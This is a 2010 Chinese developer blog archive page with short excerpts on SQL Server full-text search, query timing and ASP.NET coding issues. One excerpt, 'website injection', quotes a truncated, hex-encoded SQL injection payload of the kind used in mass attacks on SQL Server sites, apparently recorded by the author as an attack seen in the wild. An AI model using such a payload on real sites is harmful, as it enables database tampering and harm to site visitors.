08 2010 档案
SQL2005 全文索引 contains
摘要:原写法where contains (job_job.[jobTitle],'"销售*"') or contains(job_job.jobDesc,'"销售*"')or contains(job_job.jobRequirement,'"销售*"')改为:where contains ((job_job.[jobTitle],job_job.jobDesc,job_job.jobRequirem... 阅读全文
posted @ 2010-08-31 14:04 freexiaoyu 阅读(515) 评论(0) 推荐(0)
SQL 语句执行时间
摘要:SET STATISTICS io ONSET STATISTICS time ON goSELECT [jobTitle] FROM [job_job]where contains([jobTitle],'工')goset statistics profile offset statistics io offset statistics time off 阅读全文
posted @ 2010-08-28 10:30 freexiaoyu 阅读(379) 评论(2) 推荐(0)
SQL 全文索引 CONTAINS
摘要:Description 列中有任意单词以“serve”开头的文档WHERE CONTAINS(Description, 'serve*')Description 列中有任意短语以“comp”开头且下一个单词以“serve”开头的文档。一个文档必须匹配所有术语才能将其视为匹配项。WHERE CONTAINS(Descriptio... 阅读全文
posted @ 2010-08-28 10:29 freexiaoyu 阅读(1228) 评论(0) 推荐(0)
网站注入
摘要:注入代码;dECLaRe%20@s%20vArchAR(4000);SEt%20@S=Cast(0X4445634C615245204074205661526368615228323535292C404320564152434861722832353529206445436C617245207441424C655F437552734F5220635552536F7220466F722073654C... 阅读全文
posted @ 2010-08-27 10:46 freexiaoyu 阅读(389) 评论(0) 推荐(0)
Convert.ToDateTime 转换问题
摘要:今天在添加用户生日的时候用到这个最早开始判断是Convert.ToDateTime(mybasi.birthday).Year.ToString() == "" ? "1960" : Convert.ToDateTime(mybasi.birthday).Year.ToString();如果年为空就给一个默认值,但是在浏览的时候还是赋不上值,当调试到Convert.ToDateTime(mybas... 阅读全文
posted @ 2010-08-19 10:48 freexiaoyu 阅读(1354) 评论(0) 推荐(0)
asp.net 页面后退清空缓存
摘要:Response.Expires = 0; Response.Buffer = true; Response.ExpiresAbsolute = DateTime.Now.AddSeconds(-1); Response.AddHeader("pragma", "no-cache"); Response.CacheControl = "no-cache"; 阅读全文
posted @ 2010-08-12 10:13 freexiaoyu 阅读(612) 评论(0) 推荐(0)
DataView 日期筛选
摘要:string strtime = DateTime.Now.AddDays(-61).ToString("yyyy-MM-dd"); DataView dv = new DataView(ds.Tables[0]); dv.RowFilter = "addtime>='" + strtime + "'"; this.lblFavCont.Text = dv.Count.ToString(); 阅读全文
posted @ 2010-08-10 16:39 freexiaoyu 阅读(472) 评论(0) 推荐(0)
EnableViewState="false" 引发Repeater删除无效
摘要:EnableViewState="false" 引发Repeater删除无效今天测试Repeater删除 <asp:LinkButton ID="linbtnDels" runat="server" CommandArgument='<%# Eval("id") %>' oncommand="linbtnDels_Command">删除</asp:LinkButto... 阅读全文
posted @ 2010-08-08 09:16 freexiaoyu 阅读(607) 评论(2) 推荐(0)